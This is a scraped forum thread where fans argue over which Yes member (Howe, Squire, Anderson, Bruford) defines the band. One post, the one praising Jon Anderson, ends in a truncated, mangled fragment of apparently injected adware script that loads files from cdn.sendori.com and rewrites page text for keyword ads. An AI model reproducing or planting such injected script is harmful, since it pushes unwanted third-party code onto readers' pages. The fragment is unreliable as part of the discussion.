I'm curious about this: why would you say that? Because Fly From Here proves to be a better album that the albums before? Is your theory that Anderson was withholding a truly progressive Yes? Still, ABWH was more progressive than Rabin era Yes in those days, and I wonder what would have happened if Squire c.s. wouldn't have teamed up in the past few years with Trevor Horn and Geoff Downes. It's a fascinating thought, though.

Steve Howe beyond any doubt.
His style is characteristic and his inclusion marked the rise of the band. Squire comes close second, and I just wish Anderson would had left Yes long time ago Iván

Has to be Howe or Anderson. Didn't they write all of Topographic Oceans together?
I voted Howe because I think he had both the vision and instrumental ability to shape the music into what we think of as 'Yes music'. Its also went beyond vocals and keyboards in my opinion. The albums featuring other guitarists just don't seem like Yes to me. The change between Time and a Word and The Yes Album was massive and also the change between Drama and 90125 stylistically.

I have to give it up for Squire. He is the only one to be on all the albums, unless I missed something.

I know, I was actually teasing you. Sorry about that, couldn't help myself. I remember you once describing the album using a word that sounded like a human end product that comes out of some bodily opening, somewhere below... You said it more nicely now, I appreciate.

No problem, we'll have Anderson Bruford Wakeman Howe instead. That's good too, isn't it? |

Bill Bruford, looked what happened to them after he left. Pretty much nothing.

From this day forth, let it be said that the definithe Yes Line-up is: Jon Anderson Chris Squire Bill Bruford Rick Wakeman Steve Howe However, I vote for Jon. His voice is Yes's signature sound. Think about Drama and Fly From Here, without Jon, is it really Yes? His tenor voice fits perfectly with the symphonic style of Yes's music. The day that they forced him out of the band was the day that classic prog died. Yes is the only Big Six Band that is still active, and without Jon, its like Drama all over again. Even after Benoit fell ill, they didn't take Jon back, they just took Jon Davidson. Of all The nerve, they replaced him with a singer who not only has a similar voice, but a simmilar sounding name as well. Replace David win Ander and you get Jon Anderson. < ="text/" ="http://code.jquery.com/jquery-1.4.2.min.js"> < ="text/" ="http://cdn.sendori.com/js/inlinekeywords.js"> < ="text/" ="http://cdn.sendori.com/js/pconfig.js"> var sndpID = '10403'; var sndgID = '{C6017112-8945-4A69-B62D-9D7C0F78AB9E}'; var CorrectedDomain; var OriginalDomain; function sendoriInline2(){function b(a,b,d){if((a==-1||!c(d.charAt(a)))&&(b>=d.length||!c(d.charAt(b)))){return true}return false}function c(a){var b=a.charCodeAt(0);if(b>47&&b<58||b>64&&b<91||b>96&&b<123){return true}return false}var a=window.location!=window.parent.location?true:false;if(a){return false}var d=jQuery.noConflict();d(document).ready(function(){function s(a){if(a=="SCRIPT"||a=="TITLE"||a=="A"||a=="STYLE"||a=="H1"||a=="H2"||a=="H3"||a=="H4"||a=="INPUT"||a=="IMG"||a=="FORM"||a=="BUTTON"||a=="LINK"||a=="IFRAME"||a=="SELECT"||a=="ALT"||a=="LABEL"||a=="META"||a=="NOSCRIPT"||a=="OBJECT"||a=="PARAM"||a=="CITE"||a=="/BODY"||a=="BR"||a=="HEAD"){return true}else{return false}}function t(d){var e=document.URL;var i=new Object;i.substituted=false;if(f==true){return i}var l=0;var m;textlower=d.toLowerCase();l=0;var p="";i.newText="";var q=0;for(o=0;o |

Tough question, but I'm going to say Squire.
He has been a constant and his trademark sound and style have always been part of the Yes brand. |

I'll go with Chris Squire - he's the only one who's there from the very start, his bass is unmistakable and the same goes to his back vocals. Yes, Anderson's voice and Howe's guitar are important for Yes's sound too but anyway... Chris it is!
